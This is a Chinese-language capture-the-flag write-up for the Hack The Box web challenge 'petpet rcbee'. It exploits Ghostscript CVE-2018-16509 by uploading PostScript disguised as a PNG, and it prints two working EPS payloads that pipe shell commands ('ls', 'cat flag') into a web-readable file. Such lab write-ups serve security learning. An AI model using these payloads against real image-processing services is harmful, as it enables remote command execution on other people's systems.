HTB petpet rcbee

目標說明

hackthebox上的web靶機,名稱為petpet rcbee,情境是上傳功能

安全風險

此目標發現1個安全風險

  1. 該目標使用ghostscript-9.23有RCE安全漏洞CVE-2018-16509

安全優化建議 

  • 對各種使用的依賴包版本做檢查,確保沒有己安全漏洞

攻擊手法

在dockfile發現ghostscript-9.23,這有安全漏洞CVE-2018-16509

# Install Pillow component
RUN curl -L -O https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs923/ghostscript-9.23-linux-x86_64.tgz \
    && tar -xzf ghostscript-9.23-linux-x86_64.tgz \
    && mv ghostscript-9.23-linux-x86_64/gs-923-linux-x86_64 /usr/local/bin/gs && rm -rf /tmp/ghost*

該漏洞的攻擊腳本可參考https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509

根據漏洞的說明,可以執行任意指令.而且透過代碼util.py和config.py的分析,發現/app/application/static/petpets目錄可以存取,因此可以把輸出結果存在此處

將攻擊腳本改為以下,並改名為test.png後上傳

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100


userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%ls > /app/application/static/petpets/pwn.txt) currentdevice putdeviceprops

以上test.png上傳後將執行ls > /app/application/static/petpets/pwn.txt

開啟http://target ip:port/static/petpets/pwn.txt 就可以看到ls內容

為了顯示flag,調整攻擊代碼如下,並改名為test.png後在上傳

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%cat flag > /app/application/static/petpets/pwn.txt) currentdevice putdeviceprops

上test.png上傳後將執行cat flag > /app/application/static/petpets/pwn.txt

開啟http://target ip:port/static/petpets/pwn.txt 就可以看到flag內容


補充說明

CVE-2018-16509

Ghostscript 是很常被使用的 PostScript 語言和 PDF 文件的開源編譯器,可以檢視及列印 PS、EPS、PDF 文件。GhostScript 也被許多圖片處理庫所使用,如 ImageMagick、Python PIL 等,預設這些庫會根據圖片的內容將其分發給不同的處理方法,其中就包括 GhostScript。

漏洞成因:
在處理/invalidaccess異常時,程式沒有正確的偵測restoration of privilege。攻擊者可透過提交特製的PostScript利用該漏洞執行程式碼。

影響範圍:
Ghostscript 9.24之前版本